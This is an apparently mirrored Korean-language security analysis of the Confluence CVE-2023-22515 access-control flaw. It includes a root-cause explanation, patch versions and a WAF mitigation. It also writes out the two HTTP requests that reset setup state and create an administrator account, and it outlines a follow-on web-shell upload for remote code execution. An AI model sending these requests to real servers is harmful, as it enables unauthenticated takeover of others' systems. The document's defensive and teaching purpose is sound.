Exploit for Improper Input Validation in Atlassian Confluence_Data_Center CVE-2023-22515

## https://sploitus.com/exploit?id=8C5F771B-5BCB-5AF4-9185-9EEF9EDFEFEF
# 🛡️ CVE-2023-22515: Confluence 권한 상승 취약점 심층 분석

> [!IMPORTANT]
> **긴급 보안 경고**: 이 취약점은 CVSS 스코어 **10.0 (Critical)**의 최고 위험도 취약점입니다. 영향을 받는 버전을 사용 중인 경우 즉각적인 패치가 필요합니다.

## 1. 개요 (Overview)

**CVE-2023-22515**는 Atlassian Confluence Data Center 및 Server에서 발견된 치명적인 **Broken Access Control** 취약점입니다. 공격자는 인증 없이 원격으로 서버의 설정 상태를 조작하여 관리자 계정을 생성하고, 시스템을 완전히 장악할 수 있습니다.

| 항목 | 상세 내용 |
|------|-----------|
| **취약점 ID** | CVE-2023-22515 |
| **위험도** | CRITICAL (CVSS 10.0) |
| **영향 버전** | 8.0.0 ~ 8.5.1 (세부 버전 확인 필요) |
| **공격 유형** | 인증 우회 및 권한 상승 |

## 2. 공격 메커니즘 (Attack Mechanism)

이 취약점은 공격자가 `/server-info.action` 엔드포인트를 통해 `bootstrapStatusProvider.applicationConfig.setupComplete` 값을 `false`로 변경함으로써 트리거됩니다.

### 🔍 공격 시퀀스 다이어그램

```mermaid
sequenceDiagram
    participant Attacker as 😈 공격자
    participant Server as 🖥️ Confluence 서버
    participant Config as ⚙️ 설정 관리자

    Note over Attacker, Server: 1단계: 설정 상태 초기화 공격
    Attacker->>Server: GET /server-info.action?setupComplete=false
    Server->>Config: 메모리 상의 설정 완료 플래그 해제
    Config-->>Server: 상태 변경 완료 (설치 모드로 전환)
    Server-->>Attacker: HTTP 200/302 OK

    Note over Attacker, Server: 2단계: 관리자 계정 생성
    Attacker->>Server: POST /setup/setupadministrator.action(새로운 관리자 정보 전송)
    Server->>Server: 보안 검증 우회 (설치 모드라 허용됨)
    Server-->>Attacker: 계정 생성 성공 및 로그인

    Note over Attacker, Server: 3단계: 시스템 장악 (RCE)
    Attacker->>Server: 악성 플러그인 업로드 (Web Shell)
    Server-->>Attacker: 원격 명령 실행 권한 획득
```

> [!NOTE]
> **핵심 원리**: 영구적인 설정 파일(`confluence.cfg.xml`)을 수정하는 것이 아니라, **메모리 상의 런타임 상태**를 변경하여 접근 제어 로직을 우회하는 방식입니다.

## 3. 상세 분석 (Technical Analysis)

### 원인 (Root Cause)
XWork2 프레임워크의 파라미터 바인딩 취약점과 Confluence의 액션(Action) 클래스(`ServerInfoAction`)에서 민감한 속성(`setupComplete`)에 대한 외부 입력 검증이 누락되어 발생했습니다.

### HTTP 요청 예시
공격자는 단순한 HTTP 요청만으로 서버를 무력화할 수 있습니다.

**1. 설정 초기화 요청:**
```http
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: target-confluence.com
```

**2. 관리자 생성 요청:**
```http
POST /setup/setupadministrator.action HTTP/1.1
...
username=hacker_admin&password=P@ssw0rd123...
```

## 4. 취약점 재현 (PoC & Demo)

본 보고서와 함께 제공되는 재현 키트(`cve-2023-22515-repro`)를 통해 안전한 Docker 환경에서 취약점을 실습할 수 있습니다.

### 🎥 Cinematic Demo
터미널에서 실제 해킹 과정을 시각적으로 확인할 수 있는 데모 스크립트가 포함되어 있습니다.

```bash
# 데모 실행 명령어
bash cinematic_pwn.sh
```

> [!TIP]
> 데모 스크립트는 실제 서버(`localhost:8090`)에 공격을 수행하여 관리자 계정을 생성하고 로그인까지 시도하는 전 과정을 자동화하여 보여줍니다.

## 5. 대응 방안 (Mitigation)

### ✅ 최신 패치 적용 (권장)
가장 확실한 해결책은 Atlassian에서 제공하는 수정된 버전으로 업그레이드하는 것입니다.
- **8.3.3 버전 이상**
- **8.4.3 버전 이상**
- **8.5.2 버전 이상**

### ⚠️ 임시 완화 조치
패치가 어려운 경우, 네트워크 보안 장비(WAF, 로드밸런서 등)에서 다음 URL 패턴에 대한 접근을 차단하십시오.
- `*/setup/*`

## 6. 결론 (Conclusion)
CVE-2023-22515는 공격 난이도가 매우 낮으면서도 시스템 완전 장악이 가능한 치명적인 취약점입니다. 보안 담당자는 즉시 패치를 적용하고, 침해 사고 여부를 모니터링해야 합니다.

---
*작성일: 2026-01-16 | 작성자: Antigravity Security Analysis Team*